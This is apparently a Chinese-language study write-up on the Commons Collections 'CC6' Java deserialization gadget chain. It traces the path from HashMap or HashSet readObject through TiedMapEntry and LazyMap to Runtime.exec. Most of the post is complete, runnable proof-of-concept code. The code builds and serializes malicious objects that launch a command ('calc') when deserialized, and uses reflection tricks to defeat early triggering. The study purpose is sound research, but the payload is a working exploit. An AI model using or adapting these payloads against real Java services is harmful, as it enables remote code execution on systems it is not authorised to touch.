CC6分析与利用
CC链6的分析与利用
经过之前对CC1链和URLDNS链的分析,感觉自己对反序列化也有了个比较清晰的认知。分析了这两条链子后就该分析CC6了,这条链子不受jdk的版本影响,并且只要commons collections 小于等于3.2.1,都存在这个漏洞。
链子分析
变化
相比之前的CC1,在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。
下面是 jdk_17.0.11 版本的AnnotationInvocationHandler
类中的readObject
方法:
可以看到没有了setValue
方法的调用,那么似乎就没办法利用CC1中的TransforMap链了。那利用另一条呢?
先把LazyMap调用get方法的构造写出来(参考CC1的补充)
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazy = LazyMap.decorate(map,t);
Lazy.get(Runtime.getRuntime());
}
}
如果像之前一样接着LazyMap继续向上看,确实依然能发现invoke中还是调用了get方法,并且参数memberValues可控,但是下面readObject方法中的for循环,调用的参数不可控了,没法让其代理对象调用方法就没法到Handler的invoke方法了。
所以这里链子得另外找了,不过还是能继承到CC1的一些东西,直接从LazyMap.get向上找。
HashMap链
TiedMapEntry.getValue()
发现TiedMapEntry.java中的getValue调用了get方法,跟进看看参数map可以控制不。
可以通过构造函数进行控制
那么接下来就需要找谁调用了getValue方法,发现就在这个类里面的hashCode调用了getValue方法。
TiedMapEntry.hashCode()
简单测试构造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
Tie.hashCode();
}
}
HashMap.hash()
接下来该干什么就不用多说了,因为还没到readObject,所以还得继续找谁调用了hashCode()方法,不过这个hashCode方法在之前的URLDNS链中也有用过,是在HashMap中的hash()方法进行的调用,到这里就可以直接借用前面的URLDNS了,URLDNS链是:
Gadget Chain:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
直接能够到了readObject,这里把最后就只用调用TiedMapEntry类的hashCode方法就行了。链子就变为了:
Gadget Chain:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
put方法提前调用解决
不过这里也会出现另一个问题,在HashMap中的readObject的key值是通过HashMap.put进行赋值的,但在调用HashMap.put的时候也会触发到hashCode()方法,导致反序列化失败。
而且这里不像URL.hashCode可以通过反射修改hashCode的值来避免,这里是直接就调用了没有条件,所以得另想它法了。
那么可以在put的时候传个其他的Transformer对象,这样到最后就是调用的其他对象的transform方法了,然后再利用反射把factory参数改为ChainedTransformer,这样再反序列化的时候就可以调用到ChainedTransformer的transform方法了。
构造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
serilize(hashmap);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
不过最后能运行但是没弹计算机。
get方法的问题解决
关键地方在get方法中:
调试发现再第一次调用put到get方法时,会先进行一个if判断就看Map中是否包含了key值,没有就能成功执行到transform方法,但是看到下面还有一句map.put(key, value)
,会把没有的key值put进Map中。
这就导致了后面再反序列化的侯,再次到达这个if的时候就会因为Map中有key值而无法执行transform方法,不过这个可以像上面的Transformer一样,再put方法后反射调用修改key值或者直接删除Map中的key值。
最后poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
// Object o=new Object();
// Class<TiedMapEntry> tie = TiedMapEntry.class;
// Field field = tie.getDeclaredField("key");
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setAccessible(true);
// field.set(Tie,"aaaaaaaa");
serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
HashSet链
HashSet.readObject()
hashset中的readObject方法在最后会触发put,剩下的就不用说了,put就会上面说的put一样了,最后可以触发到hashcode方法:
但是这里需要吧e变为TiedMapEntry对象,这样才能触发到TiedMapEntry的hashcode方法。
在HashSet中提供了add方法,可以利用add对e赋值
poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashSet set=new HashSet();
set.add(Tie);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
// Object o=new Object();
// Class<TiedMapEntry> tie = TiedMapEntry.class;
// Field field = tie.getDeclaredField("key");
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setAccessible(true);
// field.set(Tie,"aaaaaaaa");
serilize(set);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
番外
在一开始调试CC6的时候,为了对比其和CC1的区别,我把jdk版本改为了jdku71然后下载sun包源码,直接把CC1的LazyMap链复制过去。
运行:
报错没什么好说的。
断点调试:
?怎么给我跳了三个计算机,在invoke方法打上断点发现竟然还能触发invoke方法,后面把序列化去掉后还是弹三个计算机,反正捣鼓了很久,最后在b站白日梦组长
CC6评论区破案,是IDEA调试器问题,关掉下面两个就好了。